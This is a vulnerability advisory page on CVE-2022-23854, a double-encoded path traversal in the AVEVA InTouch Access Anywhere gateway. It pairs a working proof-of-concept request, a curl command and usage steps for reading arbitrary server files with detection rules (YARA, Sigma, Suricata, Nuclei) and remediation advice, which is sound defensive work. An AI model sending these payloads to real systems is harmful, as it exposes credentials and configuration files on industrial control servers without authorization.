CVE-2022-23854
Executive Summary
CVE-2022-23854 is a high-severity path traversal vulnerability affecting AVEVA InTouch Access Anywhere Secure Gateway versions 2020 R2 and older. The flaw allows an unauthenticated attacker with network access to read arbitrary files from the underlying operating system, bypassing the intended security controls of the gateway web server. The vulnerability is publicly exploited via a double-encoded path traversal payload, and a proof-of-concept (PoC) is widely available. The CVSS v3.1 base score is 7.5 (High), with the attack vector being network-based, low complexity, and requiring no privileges or user interaction. The impact is limited to confidentiality (high), with no impact on integrity or availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Complete information disclosure of files on the server.
- Integrity (I): None (N) – No data modification possible.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit, has a public PoC, and can lead to the exposure of sensitive configuration files, credentials, or other critical data.
Deep Dive & Mechanics
The vulnerability resides in the AVEVA InTouch Access Anywhere Secure Gateway web server. The server fails to properly sanitize user-supplied input in the URL path, specifically when handling double-encoded characters. The PoC uses a path like /AccessAnywhere/%252e%252e%255c%252e%252e%255c... where %25 is the URL-encoded representation of %, so %252e decodes to %2e (which is .), and %255c decodes to %5c (which is \). After the first decode by the web server, the path becomes %2e%2e%5c%2e%2e%5c... which is then decoded again by the underlying file system or application logic, resulting in ..\..\..\..\windows\win.ini. This double decoding bypasses the server's path traversal filters, allowing an attacker to navigate outside the web root and read arbitrary files.
The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) and CWE-23 (Relative Path Traversal). The affected component is the Ericom Secure Gateway (version 8.4.0.26844 observed in the PoC), which is used as the underlying gateway for AVEVA InTouch Access Anywhere.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable code likely performs a single URL decode on the incoming request path and then checks for path traversal patterns (e.g., ../ or ..\). However, it does not recursively decode or normalize the path after the initial check.
# Vulnerable pseudo-code
def handle_request(path):
decoded_path = urllib.parse.unquote(path) # Single decode
if ".." in decoded_path:
return "Forbidden"
# Serve file from decoded_path
serve_file(decoded_path)
Patched Code (Conceptual): The patched code should perform recursive decoding until no further encoded characters remain, and then normalize the path to a canonical form before checking for traversal.
# Patched pseudo-code
def handle_request(path):
# Recursively decode until stable
while "%" in path:
path = urllib.parse.unquote(path)
# Normalize path to remove any remaining traversal
normalized_path = os.path.normpath(path)
if normalized_path.startswith(web_root):
serve_file(normalized_path)
else:
return "Forbidden"
Exploitation & Lab Setup
Red Team
Exploit-DB Code (Provided): The following is the full exploit code from Exploit-DB:
Exploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
Exploit Author: Jens Regel (CRISEC IT-Security)
Date: 11/11/2022
CVE: CVE-2022-23854
Version: Access Anywhere Secure Gateway versions 2020 R2 and older
Proof of Concept:
GET
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
HTTP/1.1
HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Usage:
- Identify a target running AVEVA InTouch Access Anywhere Secure Gateway (version 2020 R2 or older).
- Send a GET request to the vulnerable endpoint with the double-encoded path traversal payload.
- The server will respond with the contents of the requested file (e.g.,
win.ini). - To read other files, modify the path after the traversal sequence. For example, to read
/etc/passwdon a Linux system, use%252e%252e%255c%252e%252e%255c...%255cetc%255cpasswd(adjust for OS path separators).
Lab Setup:
- Target: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 (or older) installed on a Windows or Linux server.
- Attacker: Any system with network access to the target (e.g., Kali Linux).
- Tool:
curlor a web browser. - Command:
curl -v "http://target-ip/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"
Blue Team
Detection:
- Monitor web server logs for requests containing
%252e%252e%255cor similar double-encoded path traversal patterns. - Look for requests to
/AccessAnywhere/followed by long sequences of encoded characters. - Alert on HTTP 200 responses from the gateway that contain file content like
[fonts],[extensions], or other system file signatures.
Hunting:
- Search for anomalous GET requests with high URL length and multiple
%25sequences. - Correlate with source IP addresses that are not part of the normal user base.
- Check for subsequent requests attempting to read sensitive files (e.g.,
web.config,passwd,shadow).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/AccessAnywhere/with double-encoded path traversal sequences (e.g.,%252e%252e%255c). - Response headers containing
Server: EricomSecureGateway/8.4.0.26844.*. - Response bodies containing system file content (e.g.,
[fonts],[extensions],root:x:0:0:root).
- HTTP GET requests to
File IOCs:
- Unauthorized access to files outside the web root, such as
win.ini,passwd,shadow, or application configuration files.
- Unauthorized access to files outside the web root, such as
Behavioral IOCs:
- Multiple requests from the same IP to different file paths using the same traversal pattern.
- Requests targeting known sensitive files (e.g.,
/etc/shadow,C:\Windows\System32\drivers\etc\hosts).
Detection Engineering
YARA Rule
rule CVE_2022_23854_Path_Traversal {
meta:
description = "Detects double-encoded path traversal attempts targeting AVEVA InTouch Access Anywhere"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2022-23854"
strings:
$traversal1 = "%252e%252e%255c"
$traversal2 = "%252e%252e%252f"
$traversal3 = "%255c%252e%252e%255c"
$traversal4 = "%252f%252e%252e%252f"
$access_anywhere = "/AccessAnywhere/"
condition:
$access_anywhere and any of ($traversal*)
}
Sigma Rule
title: CVE-2022-23854 - AVEVA InTouch Access Anywhere Path Traversal
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects HTTP requests exploiting CVE-2022-23854 via double-encoded path traversal
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '%252e%252e%255c'
- '%252e%252e%252f'
- '%255c%252e%252e%255c'
- '%252f%252e%252e%252f'
cs-uri-stem|contains: '/AccessAnywhere/'
condition: selection
falsepositives:
- Legitimate use of double encoding in other contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-23854 - AVEVA InTouch Access Anywhere Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/AccessAnywhere/"; http_uri; content:"%252e%252e%255c"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2022-23854
info:
name: AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion
author: For3stCo1d
severity: high
description: |
AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.
impact: |
An attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access.
remediation: |
Apply the latest security patches or updates provided by AVEVA to fix the local file inclusion vulnerability.
reference:
- https://packetstormsecurity.com/files/cve/CVE-2022-23854
- https://www.aveva.com
- https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
- https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-23854
cwe-id: CWE-22,CWE-23
epss-score: 0.92182
epss-percentile: 0.99719
cpe: cpe:2.3:a:aveva:intouch_access_anywhere:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: aveva
product: intouch_access_anywhere
shodan-query:
- http.html:"InTouch Access Anywhere"
- http.html:"intouch access anywhere"
fofa-query: body="intouch access anywhere"
tags: cve,cve2022,lfi,packetstorm,aveva,intouch,vuln
http:
- method: GET
path:
- "{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'for 16-bit app support'
- 'extensions'
condition: and
- type: word
part: header
words:
- 'text/ini'
- 'application/octet-stream'
condition: or
- type: status
status:
- 200
# digest: 4b0a00483046022100a728670ee9a35991dd932ec74fa212faef81c21323ffa47ad8a0a95724189004022100a1d2dbe6d5d98d06182f29caf9a175c2ee5a684764c453b25dafb73afc74d64b:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version is available from AVEVA, upgrade immediately. As of the latest advisory, no official patch has been released. Contact AVEVA support for guidance.
- Workaround: If upgrading is not possible, restrict network access to the Secure Gateway web server to trusted IP addresses only using firewall rules or network segmentation.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing double-encoded path traversal patterns (e.g.,
%252e%252e%255c). - Input Validation: Implement input validation on the web server to reject any request containing
%25sequences in the path.
Long-Term Measures:
- Monitor vendor advisories for a permanent fix.
- Conduct regular security assessments and penetration testing on ICS/SCADA systems.
- Implement the principle of least privilege for the web server process to limit the impact of file read vulnerabilities.
Valters IT Signature
Valters IT – DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: F48F47EBF3E04D72BCE14CA9] */}